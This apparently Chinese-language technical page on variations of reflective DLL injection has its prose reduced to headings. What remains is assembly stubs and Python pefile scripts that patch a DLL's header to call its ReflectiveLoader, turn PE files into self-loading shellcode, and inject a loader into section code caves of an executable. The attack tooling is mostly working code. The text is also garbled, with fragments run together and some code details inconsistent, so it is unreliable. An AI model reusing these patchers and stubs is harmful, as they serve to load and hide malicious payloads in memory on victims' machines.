ReflectiveDLLInjection变形应用
简介
DLL自加载
流程
原理




代码
优化


PE->SHELLCODE改造
追加->思路




代码
优化->注入->思路



代码
LINKS
最后更新于













最后更新于
dec ebp ;ebp -1
pop edx ;edx=[esp] esp+4
//恢复环境
inc ebp ;ebp +1
push edx ;esp-4 [esp]=edxcall 0 ;获取下一条指令的内存地址
pop edx ;将下一条指令出栈给edx
add edx,<FuncOffset-0x09>;计算ReflectiveLoader函数在内存中的位置
push ebp
mov ebp, esp ;切换堆栈
call edx ;调用ReflectiveLoader41 5a ;pop r10
41 52 ;push r10
e8 00 00 00 00 ;call 0
5b ;pop rbx
48 81 c3 09 00 00 00 ;add rbx, 0x09
55 ;push rbp
48 89 e5 ;mov rbp, rsp
ff d3 ;call rbximport sys
import pefile
from struct import pack
def help():
print("usage: python3 <DllPath> <FuncName>\n")
def get_func_offset(pe_file,func_name):
if hasattr(pe_file,'DIRECTORY_ENTRY_EXPORT'):
for export in pe_file.DIRECTORY_ENTRY_EXPORT.symbols:
if func_name in str(export.name):
func_rva = export.address
break
if func_rva == 0:
help()
print("[-] not found function offset in file")
sys.exit(0)
offset_va = func_rva - pe_file.get_section_by_rva(func_rva).VirtualAddress
func_file_offset = offset_va + pe_file.get_section_by_rva(func_rva).PointerToRawData
func_file_offset -= 9
return bytes(pack("<I",func_file_offset))
def get_patch_stub(pe_file,func_offset):
if pe_file.FILE_HEADER.Machine == 0x014c:
is64 = False
elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine ==0x8664:
is64 =True
else:
print("[-]unknow the format of this pe file")
sys.exit()
if is64:
stub =(
b"\x4D\x5A"
b"\x41\x52"
b"\xe8\x00\x00\x00\x00"
b"\x5b"
b"\x48\x81\xC3" + func_offset +
b"\x55"
b"\x48\x89\xE5"
b"\xFF\xD3"
);
else:
stub = (
b"\x4D"
b"\x5A"
b"\x45"
b"\x52"
b"\xE8\x00\x00\x00\x00"
b"\x5A"
b"\x81\xC2" + func_offset +
b"\x55"
b"\x8B\xEC"
b"\xFF\xD2"
);
return stub;
def patch_dll(pe_path,func_name):
try:
pe_file =pefile.PE(pe_path)
except e:
print(str(e))
help()
sys.exit()
func_offset = get_func_offset(pe_file,func_name)
patch_stub = get_patch_stub(pe_file,func_offset)
filearray = open(pe_path,'rb').read()
print("[+] loaded nameof %s"% (pe_path))
patch_dll_file = patch_stub + filearray[len(patch_stub):]
print("[+] patched offset %s" % (func_offset.hex()))
patch_dll_name = "patch-" +pe_path
open(patch_dll_name,'wb').write(patch_dll_file)
print("[+] wrote nameof %s"% (patch_dll_name))
if __name__ == '__main__':
a = len(sys.argv)
if len(sys.argv) != 3:
help()
sys.exit(0);
pe_path = sys.argv[1]
func_name = sys.argv[2]
patch_dll(pe_path,func_name)
b"\x4d"+
b"\x5A" +#pop edx
b"\x45" +#inc ebp
b"\x52" +#push edx
b"\xE8\x00\x00\x00\x00" +#call <next_line>
b"\x5B" +# pop ebx
b"\x48\x83\xEB\x09" +# sub ebx,9
b"\x53" +# push ebx (Image Base)
b"\x48\x81\xC3" +# add ebx,
pack("<I",func_offset) +# value
b"\xFF\xD3" +# call esp
b"\xc3" # retdef addit_pe(pe_path):
pe_file = get_pe_load(pe_path)
pe_file_array = open(pe_path, 'rb').read()
print("[+] loaded nameof %s" % (pe_path))
addit_bootstrap = get_inject_bootstrap(pe_file,len(pe_file_array))
if get_pe_bit(pe_file):
addit_stub = open('resources/stub64.bin', 'rb').read()
else:
addit_stub = open('resources/stub32.bin', 'rb').read()
patch_pe_file = addit_bootstrap + pe_file_array[len(addit_bootstrap):] + addit_stub
print("[+] patched offset %d" % (len(pe_file_array)))
patch_pe_name = "patch-" + pe_path
open(patch_pe_name, 'wb').write(patch_pe_file)
print("[+] wrote nameof %s" % (patch_pe_name))
import sys
import pefile
from struct import pack
def help():
print("usage: python3 <PePath>")
def get_pe_bit(pe_file):
if pe_file.FILE_HEADER.Machine == 0x014c:
is64 = False
elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine == 0x8664:
is64 =True
else:
print("[-]unknow the format of this pe file")
sys.exit()
return is64
def get_patch_stub(pe_file,func_offset):
stub = (
b"\x4d"+
b"\x5A" +#pop edx
b"\x45" +#inc ebp
b"\x52" +#push edx
b"\xE8\x00\x00\x00\x00" +#call <next_line>
b"\x5B" +# pop ebx
b"\x48\x83\xEB\x09" +# sub ebx,9
b"\x53" +# push ebx (Image Base)
b"\x48\x81\xC3" +# add ebx,
pack("<I",func_offset) +# value
b"\xFF\xD3" +# call esp
b"\xc3" # ret
);
return stub;
def patch_pe(pe_path):
try:
pe_file =pefile.PE(pe_path)
except e:
print(str(e))
help()
sys.exit()
patch_size = 0
patch_location = 0
if get_pe_bit(pe_file):
reflective_stub = open('stub64.bin','rb').read()
else:
reflective_stub = open('stub32.bin','rb').read()
cave_size=len(reflective_stub);
for section in pe_file.sections:
section_cave_size = section.SizeOfRawData - section.Misc_VirtualSize
section_cave_location =section.Misc_VirtualSize + section.PointerToRawData
print("[+] looking for a codecave in %s sizeof %d offset of %x" % (section.Name,section_cave_size,section_cave_location))
if section_cave_size > cave_size:
patch_size=section_cave_size
patch_location = section_cave_location
break
if patch_size ==0:
print("[-] not enough size code cvae found ")
help()
sys.exit()
patch_stub = get_patch_stub(pe_file,patch_location)
pe_file_array = open(pe_path,'rb').read()
print("[+] loaded nameof %s"% (pe_path))
patch_pe_file = patch_stub + pe_file_array[len(patch_stub):patch_location] + reflective_stub +pe_file_array[patch_location+len(reflective_stub):]
print("[+] patched offset %x" % (section_cave_location))
patch_pe_name = "patch-" +pe_path
open(patch_pe_name,'wb').write(patch_pe_file)
print("[+] wrote nameof %s"% (patch_pe_name))
if __name__ == '__main__':
a = len(sys.argv)
if len(sys.argv) != 2:
help()
sys.exit(0);
pe_path = sys.argv[1]
pe_path= "runshc32.exe"
patch_pe(pe_path)